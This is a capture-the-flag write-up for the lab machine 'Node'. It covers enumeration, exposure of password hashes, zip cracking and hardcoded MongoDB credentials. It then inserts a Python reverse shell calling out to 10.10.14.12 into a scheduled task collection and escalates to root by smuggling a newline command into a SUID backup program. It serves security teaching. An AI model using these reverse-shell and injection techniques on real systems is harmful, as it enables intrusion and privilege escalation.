Node

Sensitive .js files - Cracking .zip file - Finding hardcoded creds - Lateral movement via mongoDB - Bypassing custom SUID program via multiple inputs

Scanning

Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-30 22:46 EST
Nmap scan report for 10.10.10.58
Host is up (0.032s latency).
Not shown: 998 filtered ports
PORT     STATE SERVICE         VERSION
22/tcp   open  ssh             OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 dc:5e:34:a6:25:db:43:ec:eb:40:f4:96:7b:8e:d1:da (RSA)
|   256 6c:8e:5e:5f:4f:d5:41:7d:18:95:d1:dc:2e:3f:e5:9c (ECDSA)
|_  256 d8:78:b8:5d:85:ff:ad:7b:e6:e2:b5:da:1e:52:62:36 (ED25519)
3000/tcp open  hadoop-datanode Apache Hadoop
| hadoop-datanode-info: 
|_  Logs: /login
| hadoop-tasktracker-info: 
|_  Logs: /login
|_http-title: MyPlace
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.10 - 4.11 (92%), Linux 3.12 (92%), Linux 3.13 (92%), Linux 3.13 or 4.2 (92%), Linux 3.16 (92%), Linux 3.16 - 4.6 (92%), Linux 3.18 (92%), Linux 3.2 - 4.9 (92%), Linux 3.8 - 3.11 (92%), Linux 4.2 (92%)
No exact OS matches for host (test conditions non-ideal).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelOS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.96 seconds

HTTP Enumeration

Checking robots.txt gives us nothing, moving on viewing the source we get few js files !

<script type="text/javascript" src="assets/js/app/app.js"></script>
<script type="text/javascript" src="assets/js/app/controllers/home.js"></script>
 <script type="text/javascript" src="assets/js/app/controllers/login.js"></script>
 <script type="text/javascript" src="assets/js/app/controllers/admin.js"></script>
 <script type="text/javascript" src="assets/js/app/controllers/profile.js"></script>

The app.js & login.js scripts don’t give us anything useful - On the other hand, if you view the /home.js

var controllers = angular.module('controllers');controllers.controller('HomeCtrl', function ($scope, $http) {
  $http.get('/api/users/latest').then(function (res) {
    $scope.users = res.data;
  });
});

Viewing that endpoint, or we can even login via admin/admin and examine the POST API request, it goes and hits the api/users

None of the above user's is_admin is set to true :(

Viewing the admin.js

var controllers = angular.module('controllers');controllers.controller('AdminCtrl', function ($scope, $http, $location, $window) {
  $scope.backup = function () {
    $window.open('/api/admin/backup', '_self');
  }$http.get('/api/session')
    .then(function (res) {
      if (res.data.authenticated) {
        $scope.user = res.data.user;
      }
      else {
        $location.path('/login');
      }
    });
});

Viewing the /api/admin/backup - Authentication error, viewing the profile.js

var controllers = angular.module('controllers');controllers.controller('ProfileCtrl', function ($scope, $http, $routeParams) {
  $http.get('/api/users/' + $routeParams.username)
    .then(function (res) {
      $scope.user = res.data;
    }, function (res) {
      $scope.hasError = true;if (res.status == 404) {
        $scope.errorMessage = 'This user does not exist';
      }
      else {
        $scope.errorMessage = 'An unexpected error occurred';
      }
    });
});

Viewing the route /api/users we get the full list of hashed user credentials, including the admin account

Cracked the admin's credentials

myP14ceAdm1nAcc0uNT : manchester

Download the backup file - looks like its base64 encoded

cat myplace.backup | base64 -d > out

Returns us a zip file, let's unzip it - prompts for a password !

fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt myplace-decoded.backup
........
..........
PASSWORD FOUND!!!!: pw == magicword

We can now unzip it, and we get the source code for the application

Now the first thing which should strike our mind is finding hardcoded credentials,exploitable vulnerabilities, use of vulnerable dependencies

While reviewing the app.js file, we'll see hard coded mongodb credentials !

const url         = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/myplace?authMechanism=DEFAULT&authSource=myplace';
const backup_key  = '45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474';

From the above we find

mark : 5AYRft73VtFpc84k

We can now gain a shell via ssh using the above credentials !

Lateral Move (Mark => Tom)

This section of LinEnum looks interesting !

### NETWORKING  ##########################################
.....
[-] Listening TCP:
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 127.0.0.1:27017         0.0.0.0:*               LISTEN      -
.....### SERVICES #############################################
[-] Running processes:USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
.....
tom       1196  0.0  7.3 1028640 56072 ?       Ssl  03:44   0:06 /usr/bin/node /var/www/myplace/app.js
mongodb   1198  0.5 11.6 281956 87956 ?        Ssl  03:44   2:43 /usr/bin/mongod --auth --quiet --config /etc/mongod.conf
tom       1199  0.0  5.9 1074616 45264 ?       Ssl  03:44   0:07 /usr/bin/node /var/scheduler/app.js
....

We can see a mongodb server is running on port 27017 - localhost, the services section tells us that there is a process compiling the app.js file that is being run by Tom !

mark@node:/tmp$ ls -la /var/scheduler/
total 28
drwxr-xr-x  3 root root 4096 Sep  3  2017 .
drwxr-xr-x 15 root root 4096 Sep  3  2017 ..
-rw-rw-r--  1 root root  910 Sep  3  2017 app.js
drwxr-xr-x 19 root root 4096 Sep  3  2017 node_modules
-rw-rw-r--  1 root root  176 Sep  3  2017 package.json
-rw-r--r--  1 root root 4709 Sep  3  2017 package-lock.json

We just have READ permissions over the file, so we can't include a reverse shell, viewing the file

const exec        = require('child_process').exec;
const MongoClient = require('mongodb').MongoClient;
const ObjectID    = require('mongodb').ObjectID;
const url         = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/scheduler?authMechanism=DEFAULT&authSource=scheduler';MongoClient.connect(url, function(error, db) {
  if (error || !db) {
    console.log('[!] Failed to connect to mongodb');
    return;
  }setInterval(function () {
    db.collection('tasks').find().toArray(function (error, docs) {
      if (!error && docs) {
        docs.forEach(function (doc) {
          if (doc) {
            console.log('Executing task ' + doc._id + '...');
            exec(doc.cmd);
            db.collection('tasks').deleteOne({ _id: new ObjectID(doc._id) });
          }
        });
      }
      else if (error) {
        console.log('Something went wrong: ' + error);
      }
    });
  }, 30000);});

Understanding MongoDB Structure

The setInterval function seems to be checking for documents (equivalent to rows) in the tasks collection (equivalent to tables)

  • For each document it executes the cmd field

  • Since we do have access to the database, we can add a document that contains a reverse shell as the cmd value

setInterval(function () {
    db.collection('tasks').find().toArray(function (error, docs) {
      if (!error && docs) {
        docs.forEach(function (doc) {
          if (doc) {
            console.log('Executing task ' + doc._id + '...');
            exec(doc.cmd);
            db.collection('tasks').deleteOne({ _id: new ObjectID(doc._id) });
          }
        });

Let's connect to the DB now

mongo -u mark -p 5AYRft73VtFpc84k localhost:27017/scheduler
# Lists the database name
> db
scheduler# Shows all the tables in the database - equivalent to 'show tables'
> show collections
tasks# List content in tasks table - equivalent to 'select * from tasks'
> db.tasks.find()
# insert document that contains a reverse shell
db.tasks.insert({cmd: "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.12\",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"})# double check that the document got added properly.
db.tasks.find()

Privilege Escalation

tom@node:/tmp$ id
uid=1000(tom) gid=1000(tom) groups=1000(tom),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),115(lpadmin),116(sambashare),1002(admin)
[-] SUID files:
-rwsr-xr-- 1 root admin 16484 Sep  3  2017 /usr/local/bin/backup

Since the SUID bit is set for this file, it will execute with the level of privilege that matches the user who owns the file. In this case, the file is owned by root, so the file will execute with root privileges. From the previous command that we ran, we know that Tom is in the group 1002 (admin) and therefore can read and execute this file

We did see this file getting called in the app.js script

....
const backup_key  = '45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474';
....app.get('/api/admin/backup', function (req, res) {
    if (req.session.user && req.session.user.is_admin) {
      var proc = spawn('/usr/local/bin/backup', ['-q', backup_key, __dirname ]);
      var backup = '';proc.on("exit", function(exitCode) {
        res.header("Content-Type", "text/plain");
        res.header("Content-Disposition", "attachment; filename=myplace.backup");
        res.send(backup);
      });proc.stdout.on("data", function(chunk) {
        backup += chunk;
      });proc.stdout.on("end", function() {
      });
    }
    else {
      res.send({
        authenticated: false
      });
    }
  });
/usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /tmp

We get a base64 encoded text, after decoding it we get a troll face, so we can simply include

tom@node ~$ /usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 "first
> /bin/bash
> second"
        zip warning: name not matched: first

zip error: Nothing to do! (try: zip -r -P magicword /tmp/.backup_2088258888 . -i first)
To run a command as administrator (user "root"), use "sudo ".
See "man sudo_root" for details.

root@node:~# id
uid=0(root) gid=1000(tom) groups=1000(tom),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),115(lpadmin),116(sambashare),1002(admin)

Last updated